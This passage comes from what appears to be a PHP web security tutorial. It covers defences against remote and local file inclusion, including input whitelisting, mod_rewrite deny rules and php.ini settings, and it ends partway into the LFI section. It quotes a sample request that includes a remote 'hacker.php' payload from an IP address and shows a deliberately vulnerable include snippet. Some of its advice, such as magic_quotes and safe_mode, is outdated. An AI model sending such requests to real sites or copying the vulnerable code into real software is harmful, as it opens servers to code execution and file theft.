an application firewall, or firewall rules. Also, in recent PHP versions, the PHP team changed the default configuration to prevent remote file includes by disallowing *http://* or *ftp://* in the URL data field. However, you may still be using an old version of PHP; you can then use the following security measures:

1. Include proper validation of the '*FORMAT*' parameter or its equivalent, as follows:

```
<?php
$format = 'convert_2_text';
if (isset( $_GET['FORMAT'] ) )
{
if ($_GET['FORMAT'] =="convert_2_text" || $_GET['FORMAT']
=="convert_2_pdf" || $_GET['FORMAT'] =="convert_2_html")
{
$format = $_GET['FORMAT'];
}
include( $format . '.php' );
}
?>
```

2. Apply strong and proper validation to input data; disallow URLs in specific vulnerable parameters. *http://25yearsofprogramming.com/blog/2011/20110124.htm* contains good examples of how to perform such validations. Also, malicious requests often use an IP address in the URL; for example, *GET /?FORMAT=http://192.0.55.2/hacker.php HTTP/1.1*. Your validation checks can include '*(ht|f)tps?://* ' followed by the IP address.
3. Many RFI attack vectors contain at least one question mark at the end of the inclusion, without any parameters after it, to try to bypass additions that the application makes to the supplied user input.
4. Most attackers keep their malicious payloads (c99 or r57 shells) on free hosting providers, and use the domain(s) of these providers in their attacks. Such hosting providers should strictly check if any of their users are uploading malicious-looking payloads or c99/r57 shells.
5. Using Apache *mod_rewrite* is also an effective security measure to prevent RFI attacks. To use it, in your *.htaccess*, add the following lines:

```
RewriteEngine On
RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*)
RewriteRule ^(.+)$ - [F,L]
```

The *RewriteCond* will match the found pattern, and the *RewriteRule* determines where to redirect the attacker. Here, the 'F' and 'L' options will block the request.

6. There are two *php.ini* options you can set, which control different aspects of file handling, and work to prevent RFI:

```
allow_url_fopen=off
allow_url_include=off
```

7. The "*magic_quotes*" directives represent PHP functionality that automatically escapes quotes passed by the user to the application. For example, in *php.ini*, set *magic_quotes_gpc=On* to automatically escape all single and double quotes, backslashes and NULLs with a backslash, in GETs, POSTs and cookies. The other magic quote directive (*magic_quotes_runtime=On*) will escape quotes for a select list of functions. For more information, refer to *http://us3.php.net/manual/en/info.configuration.php#ini.magic-quotes-gpc*. This will also prevent basic SQL injection.
8. PHP's safe mode provides a good security environment; enabling it (in *php.ini*, set *safe_mode=On*) makes PHP restrict certain functionality that could be deemed a security threat. However, there are many ways around these restrictions, as demonstrated in an article by H D Moore at *http://www.breakingpointsystems.com/community/blog/php-safe-mode-considered-harmful*. The other thing to note is that 'Safe Mode' will not be included in PHP version 6.0—the PHP developers realised this was not an effective security measure. However, if you are running an earlier version, having it on (if your applications work) may help thwart certain attacks.
9. In most cases, there is no reason to allow your Web application to read files outside the Web root directory. Typically, Web server files are in a directory like "*/var/www*", with each application in its own subdirectory. If this is the case for you, for additional security, limit PHP code's ability to read outside the Web root with *open_basedir=/var/www*.

Local File Inclusion (a.k.a. an LFI attack)

This is another flavour of inclusion attacks, similar to the directory-traversal attack we covered in Part 7 of this series. (To get a stronger grasp of LFI, do refer to it.) It happens when the attacker has the ability to browse through the server, find a particular file (say, within a MySQL database folder, or the *passwd* or *shadow* files in */etc*), which can enable breaking into the Web application, or even logging in via SSH. The ideas here are the same as above, except that we are now applying a different URL in the inclusion—a file located (by default) on the server. First off, here is sample code that's vulnerable to LFI:

```
<?php
$page = $_GET[page];
include($page);
?>
```

This code is exploitable because the page variable isn't sanitised, but directly included (executed). Imagine there is a directory */test* with a file *test.php* in it; an example URL to it would be *www.example.com/test/test.php*. Now,